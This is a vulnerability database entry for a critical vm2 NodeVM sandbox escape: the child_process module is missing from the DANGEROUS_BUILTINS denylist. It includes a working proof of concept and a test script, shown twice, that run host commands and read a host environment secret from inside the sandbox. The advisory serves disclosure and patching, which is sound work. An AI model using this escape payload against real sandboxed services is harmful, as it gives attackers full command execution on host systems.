GHSA-PQ68-RVW4-XP4R

Vulnerability from github – Published: 2026-10-07 18:05 – Updated: 2026-10-07 18:05
VLAI
Summary
vm2 contains a sandbox escape vulnerability
Details

vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:['*'] or explicit child_process allowance.

This fork hardens NodeVM with a DANGEROUS_BUILTINS denylist that blocks host‑code‑reaching core modules even when the sandbox requests builtin:['*'] or names them explicitly — the list contains module, worker_threads, cluster, vm, repl, inspector, process, trace_events, wasi, diagnostics_channel, async_hooks, perf_hooks, v8, os, dns, and test. It omits child_process — the single most direct command‑execution primitive. As a result, a sandbox running under require:{builtin:['*']} (or the fork's own documented ['*','-http','-net',…] subtract pattern) can require('child_process').execSync(...) and execute arbitrary commands on the host. The omission is internally inconsistent: cluster is denied with the explicit rationale "cluster.fork() spawns a host child process running attacker‑controlled code," yet child_process — which spawns host processes more directly — is not.

Details

lib/builtin.js: - DANGEROUS_BUILTINS (lines 83‑179) — the Set of denied builtins. child_process does not appear anywhere in it. - isDangerousBuiltin(key) (lines 185‑195) — strips node: prefixes and applies family‑prefix matching against DANGEROUS_BUILTINS. Returns false for child_process. - BUILTIN_MODULES (lines 209‑210) — the source list that the '*' wildcard expands to — is builtinModules.filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s)). Because isDangerousBuiltin('child_process') is false, child_process remains in '*'. - addDefaultBuiltin (the explicit‑name path) likewise rejects only isDangerousBuiltin names, so builtin:['child_process'] is admitted as well.

The module returned is the real host child_process (default require.context is "host"), so execSync/exec/spawn/fork run with full host authority. The denylist's own comment (lines 42‑44) states these primitives "must NEVER be reachable from the sandbox, even when the user requests '*' or explicitly names them" — the invariant child_process violates.

PoC

const { NodeVM } = require('vm2');

const r = new NodeVM({ require: { builtin: ['*'] } }).run(`
  module.exports = require('child_process').execSync('id').toString();
`, 'plugin.js');

console.log(r);   // -> "uid=1000(user) gid=1000(user) groups=..."   host command execution

Verified results: | config | require('child_process') | |---|---| | { builtin: ['*'] } | RCE — host id + host env read | | { builtin: ['*', '-fs'] } (documented subtract pattern) | RCE — subtracting other modules does not remove it | | { builtin: ['child_process'] } | RCE — explicit name admitted despite the "never, even if named" invariant | | { builtin: ['fs'] } (control) | denied — Cannot find module 'child_process' |

Impact

Full host RCE — a complete NodeVM sandbox escape — for any deployment that runs untrusted code under require:{builtin:['*']} or the documented ['*', '-x', …] subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows child_process believing the denylist would reject it as it does the other host‑spawning builtins. The attacker controls only their sandboxed script; the exploit is a single require('child_process').

builtin-child_process-denylist-gap-rce.js

'use strict';
// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.
// The fork's denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins
// even under `builtin:['*']` or explicit naming — module, worker_threads,
// cluster, vm, repl, inspector, process, os, dns, v8, test, ... — but NOT
// child_process. So `require:{builtin:['*']}` (an allow-all config the fork
// explicitly hardens) yields direct host RCE. Attacker controls only the
// sandboxed script.
const path = require('path');
const { NodeVM } = require(path.resolve(__dirname, '..', 'src', 'vm2', 'lib', 'main.js'));

process.env.HOST_ONLY_SECRET = 'CANARY123';   // host-only; sandbox process stub has env:{}

function tryConfig(label, opts) {
  try {
    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() => {
      try {
        const cp = require('child_process');
        return {
          reached: true,
          id: cp.execSync('id').toString().trim(),
          hostSecret: cp.execSync('printenv HOST_ONLY_SECRET').toString().trim()
        };
      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }
    })()`, 'plugin.js');
    console.log(label, '=>', JSON.stringify(r));
    return r;
  } catch (e) { console.log(label, '=> THREW:', e.message.slice(0, 60)); return null; }
}

console.log('--- child_process reachability by NodeVM require config ---');
const a = tryConfig("require:{builtin:['*']}        ", { require: { builtin: ['*'] } });
const b = tryConfig("require:{builtin:['*','-fs']}  ", { require: { builtin: ['*', '-fs'] } });   // documented subtract pattern
const c = tryConfig("require:{builtin:['fs']} (ctl) ", { require: { builtin: ['fs'] } });          // control: not allowed -> denied

const ok = a && a.reached && /uid=/.test(a.id) && a.hostSecret === 'CANARY123'
        && b && b.reached
        && c && c.reached === false;
console.log(ok
  ? "\n>>> CONFIRMED: builtin:['*'] gives host RCE via child_process (denylist gap); control denies it when not allowed"
  : "\n>>> NOT confirmed");
process.exit(ok ? 42 : 1);
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.12.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.12.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-93605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693",
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T18:05:00Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "vm2 NodeVM versions before 3.12.1 contain a sandbox escape vulnerability where the DANGEROUS_BUILTINS denylist omits child_process despite blocking other host-spawning modules. Attackers can require child_process and execute arbitrary commands on the host system when NodeVM is configured with builtin:[\u0027*\u0027] or explicit child_process allowance.\n\nThis fork hardens `NodeVM` with a `DANGEROUS_BUILTINS` denylist that blocks host\u2011code\u2011reaching core modules **even when the sandbox requests `builtin:[\u0027*\u0027]` or names them explicitly** \u2014 the list contains `module`, `worker_threads`, `cluster`, `vm`, `repl`, `inspector`, `process`, `trace_events`, `wasi`, `diagnostics_channel`, `async_hooks`, `perf_hooks`, `v8`, `os`, `dns`, and `test`. It **omits `child_process`** \u2014 the single most direct command\u2011execution primitive. As a result, a sandbox running under `require:{builtin:[\u0027*\u0027]}` (or the fork\u0027s own documented `[\u0027*\u0027,\u0027-http\u0027,\u0027-net\u0027,\u2026]` subtract pattern) can `require(\u0027child_process\u0027).execSync(...)` and execute arbitrary commands on the host. The omission is internally inconsistent: `cluster` is denied with the explicit rationale \"`cluster.fork()` spawns a host child process running attacker\u2011controlled code,\" yet `child_process` \u2014 which spawns host processes more directly \u2014 is not.\n\n### Details\n`lib/builtin.js`:\n- `DANGEROUS_BUILTINS` (lines **83\u2011179**) \u2014 the Set of denied builtins. `child_process` does not appear anywhere in it.\n- `isDangerousBuiltin(key)` (lines **185\u2011195**) \u2014 strips `node:` prefixes and applies family\u2011prefix matching against `DANGEROUS_BUILTINS`. Returns `false` for `child_process`.\n- `BUILTIN_MODULES` (lines **209\u2011210**) \u2014 the source list that the `\u0027*\u0027` wildcard expands to \u2014 is `builtinModules.filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s))`. Because `isDangerousBuiltin(\u0027child_process\u0027)` is `false`, `child_process` **remains in `\u0027*\u0027`**.\n- `addDefaultBuiltin` (the explicit\u2011name path) likewise rejects only `isDangerousBuiltin` names, so `builtin:[\u0027child_process\u0027]` is admitted as well.\n\nThe module returned is the **real host `child_process`** (default `require.context` is `\"host\"`), so `execSync`/`exec`/`spawn`/`fork` run with full host authority. The denylist\u0027s own comment (lines 42\u201144) states these primitives \"must NEVER be reachable from the sandbox, even when the user requests `\u0027*\u0027` or explicitly names them\" \u2014 the invariant `child_process` violates.\n\n### PoC\n```js\nconst { NodeVM } = require(\u0027vm2\u0027);\n\nconst r = new NodeVM({ require: { builtin: [\u0027*\u0027] } }).run(`\n  module.exports = require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n`, \u0027plugin.js\u0027);\n\nconsole.log(r);   // -\u003e \"uid=1000(user) gid=1000(user) groups=...\"   host command execution\n```\nVerified results:\n| config | `require(\u0027child_process\u0027)` |\n|---|---|\n| `{ builtin: [\u0027*\u0027] }` | **RCE** \u2014 host `id` + host env read |\n| `{ builtin: [\u0027*\u0027, \u0027-fs\u0027] }` (documented subtract pattern) | **RCE** \u2014 subtracting other modules does not remove it |\n| `{ builtin: [\u0027child_process\u0027] }` | **RCE** \u2014 explicit name admitted despite the \"never, even if named\" invariant |\n| `{ builtin: [\u0027fs\u0027] }` (control) | denied \u2014 `Cannot find module \u0027child_process\u0027` |\n\n\n### Impact\nFull host RCE \u2014 a complete `NodeVM` sandbox escape \u2014 for any deployment that runs untrusted code under `require:{builtin:[\u0027*\u0027]}` or the documented `[\u0027*\u0027, \u0027-x\u0027, \u2026]` subtract pattern (both of which the fork explicitly supports and hardens), or that explicitly allows `child_process` believing the denylist would reject it as it does the other host\u2011spawning builtins. The attacker controls only their sandboxed script; the exploit is a single `require(\u0027child_process\u0027)`.\n\n\n### builtin-child_process-denylist-gap-rce.js\n```js\n\u0027use strict\u0027;\n// F-006: vm2 NodeVM DANGEROUS_BUILTINS denylist omits `child_process`.\n// The fork\u0027s denylist (lib/builtin.js:83-179) blocks host-code-reaching builtins\n// even under `builtin:[\u0027*\u0027]` or explicit naming \u2014 module, worker_threads,\n// cluster, vm, repl, inspector, process, os, dns, v8, test, ... \u2014 but NOT\n// child_process. So `require:{builtin:[\u0027*\u0027]}` (an allow-all config the fork\n// explicitly hardens) yields direct host RCE. Attacker controls only the\n// sandboxed script.\nconst path = require(\u0027path\u0027);\nconst { NodeVM } = require(path.resolve(__dirname, \u0027..\u0027, \u0027src\u0027, \u0027vm2\u0027, \u0027lib\u0027, \u0027main.js\u0027));\n\nprocess.env.HOST_ONLY_SECRET = \u0027CANARY123\u0027;   // host-only; sandbox process stub has env:{}\n\nfunction tryConfig(label, opts) {\n  try {\n    const r = new NodeVM({ ...opts, timeout: 2000 }).run(`module.exports = (() =\u003e {\n      try {\n        const cp = require(\u0027child_process\u0027);\n        return {\n          reached: true,\n          id: cp.execSync(\u0027id\u0027).toString().trim(),\n          hostSecret: cp.execSync(\u0027printenv HOST_ONLY_SECRET\u0027).toString().trim()\n        };\n      } catch (e) { return { reached: false, err: String(e.message).slice(0, 60) }; }\n    })()`, \u0027plugin.js\u0027);\n    console.log(label, \u0027=\u003e\u0027, JSON.stringify(r));\n    return r;\n  } catch (e) { console.log(label, \u0027=\u003e THREW:\u0027, e.message.slice(0, 60)); return null; }\n}\n\nconsole.log(\u0027--- child_process reachability by NodeVM require config ---\u0027);\nconst a = tryConfig(\"require:{builtin:[\u0027*\u0027]}        \", { require: { builtin: [\u0027*\u0027] } });\nconst b = tryConfig(\"require:{builtin:[\u0027*\u0027,\u0027-fs\u0027]}  \", { require: { builtin: [\u0027*\u0027, \u0027-fs\u0027] } });   // documented subtract pattern\nconst c = tryConfig(\"require:{builtin:[\u0027fs\u0027]} (ctl) \", { require: { builtin: [\u0027fs\u0027] } });          // control: not allowed -\u003e denied\n\nconst ok = a \u0026\u0026 a.reached \u0026\u0026 /uid=/.test(a.id) \u0026\u0026 a.hostSecret === \u0027CANARY123\u0027\n        \u0026\u0026 b \u0026\u0026 b.reached\n        \u0026\u0026 c \u0026\u0026 c.reached === false;\nconsole.log(ok\n  ? \"\\n\u003e\u003e\u003e CONFIRMED: builtin:[\u0027*\u0027] gives host RCE via child_process (denylist gap); control denies it when not allowed\"\n  : \"\\n\u003e\u003e\u003e NOT confirmed\");\nprocess.exit(ok ? 42 : 1);\n```",
  "id": "GHSA-pq68-rvw4-xp4r",
  "modified": "2026-10-07T18:05:00Z",
  "published": "2026-10-07T18:05:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-pq68-rvw4-xp4r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-93605"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-nodevm-before-3.12.1-remote-code-execution-via-child-process"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 contains a sandbox escape vulnerability"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…